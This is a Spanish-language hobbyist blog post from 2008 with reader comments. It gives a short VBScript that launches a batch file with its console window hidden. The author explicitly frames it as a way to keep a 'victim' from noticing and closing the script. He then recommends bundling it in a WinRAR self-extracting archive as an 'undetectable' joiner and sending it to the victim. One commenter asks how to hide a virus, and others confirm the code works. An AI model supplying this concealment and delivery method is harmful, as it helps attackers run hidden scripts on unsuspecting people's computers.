ArcanuS Web Blog 3.0

La casa de un paranoico

ArcanuS Web Blog 3.0 header image 1

Ocultar pantalla de ms-dos (batch)

septiembre 21st, 2008 · 7 Comments

Uno de los problemas a la hora de programar en batch es ke siempre se ve la consola de ms-dos, si le mandamos el batch a la victima y esta ve la consola es obvio ke va a cerrarla, matando nuestro programa en batch, bueno con este code lo ke hacemos es ocultar esa consola de ms-dos

bueno les dejo el code y les explico ke hace

set cmd = createobject("wscript.shell")
Set shell = CreateObject("Scripting.FileSystemObject")
dta=" @echo off"&vbcrlf& _
"%c:\windows\system32%"&vbcrlf& _
""
cmd.run "nombre_de_su_bat.bat", vbHide

1)Copien ese code y peguenlo en el bloc de notas.

2)Cambien donde dice (nombre_de_su_bat.bat) por algun nombre ke kieran.

3)Guarden el code como: loquesea.vbs

4)Hagan el bat ke kieran y guardenlo con el mismo nombre del paso 2

ahora el paso sig en crear un autoextraible con winrar (el mejor joiner a mi punto de vista e indetectable)

manden a su victima el rar y listo, nuestra consola del bat no se verá

cualquier duda me avisan

salu2

Devilboy

Tags: Programacion y Desarrollo

votar

7 responses so far ↓

  • 1 Luis M. Izarra // oct 3, 2008 at 6:14

    Ocultar Pantalla MSDos
    He probado y me falla.
    Al parecer, la causa está en la variable vbcrlf.
    Creo que significa chr(10)+chr(13) pero no consigo que funcione.
    ¿Como podrí­a sustituir esta variable?
    Gracias anticipadas
    Luis M. Izarra

  • 2 Luis M. Izarra // oct 3, 2008 at 6:15

    Ocultar Pantalla MSDos
    He probado y me falla.
    Al parecer, la causa está en la variable vbcrlf.
    Creo que significa chr(10)+chr(13) pero no consigo que funcione.
    ¿Comopodrí­a sustituir esta variable?
    Gracias anticipadas
    Luis M. Izarra

  • 3 Devilboy // oct 3, 2008 at 12:50

    Holassss man

    algo debes estar haciendo mal

    Para probarlo bien sigue estos pasos:

    1)Crea una carpeta en C:/
    2)copia y pega este code en bloc de notas:

    set cmd = createobject(“wscript.shell”)
    Set shell = CreateObject(“Scripting.FileSystemObject”)
    dta=” @echo off”&vbcrlf& _
    “%c:\windows\system32%”&vbcrlf& _
    “”
    cmd.run “nombre_de_su_bat.bat”, vbHide

    cambia donde dice nombre_de_su_bat.bat por

    carpeta.bat, kedaría de este modo:

    set cmd = createobject(“wscript.shell”)
    Set shell = CreateObject(“Scripting.FileSystemObject”)
    dta=” @echo off”&vbcrlf& _
    “%c:\windows\system32%”&vbcrlf& _
    “”
    cmd.run “carpeta.bat”, vbHide

    guarda este code como run.vbs

    3)Abre bloc de notas y pon esto:

    mkdir carpeta

    y guarda ese code como carpeta.bat

    4)Guarda los dos codes en c:/

    5)Ejecuta el run.vbs
    y verás como se creará una carpeta nueva llamada carpeta

    espero ke te sirva

    salu2

  • 4 Prueba // ene 11, 2009 at 2:06

    Hola quisiera saber como puedo hacer o con que comando o caracteres puedo remplazar el nombre de una carpeta:

    @xcopy “%userprofile%\Tempo\Nombre de la Carpeta\Datos\*” “%username%\Tempo\CDatos” /i/

    Lo que quiero hacer es copiar la informacion de la carpeta Datos en una nueva que se llame CDatos, pero el problema es que dntro de la carpeta Tempo Exiosten diferentes carpetas, por ejemplo año1, año2, programas, documentos, etc, y a cada una de estas carpetas se les crea automaticamente una carpeta que se llama Datos Mi duda es como hacerle para que copie lodatos de la carpeta Datos de cada una de las carpetas anteriores:

    ************************************
    %userprofile%\Tempo\Año1\Datos
    %userprofile%\Tempo\Año2\Datos
    %userprofile%\Tempo\Programas\Datos
    %userprofile%\Tempo\Documentos\Datos
    %userprofile%\Tempo\Etc, etc\Datos
    ************************************

    Quiero copiar todo lo que hay en datos en otra carpeta, ¿Con que caracteres sustituyo donde dice año1, año2, etc, et.?

    AYUDA, HELP MY

  • 5 mmmmmmmmmmm... // may 27, 2009 at 15:59

    como ago un virus que despues no me aparesca miniminisada o viendo la pantalla esa (ya saben).

    un comando para que se oculte:

    nose???

    chau

    Espero RTA.

  • 6 Alex // ago 25, 2010 at 19:23

    Respondo despues de tanto tiempo, solamente para que personas que lleguen a un blog tan bueno como este no se pierdan como esta el compañero Luis Izarra.

    Deben cambiar todas las comillas que tiene el codigo facilitado por DevilBoy, por las que realmente son comillas “”; Ese es el significado del error que le esta arrojando a Luis. Ojala sirva el apunte… Porque realmente el codigo funciona y de maravilla…

  • 7 julio899 // ene 10, 2012 at 10:39

    Gracias Hermano Funciona Perfectamente…. Muchas Gracias Lo corri en Windows 7 100% FUNCINANDO …. Saludos. y Gracias.

Leave a Comment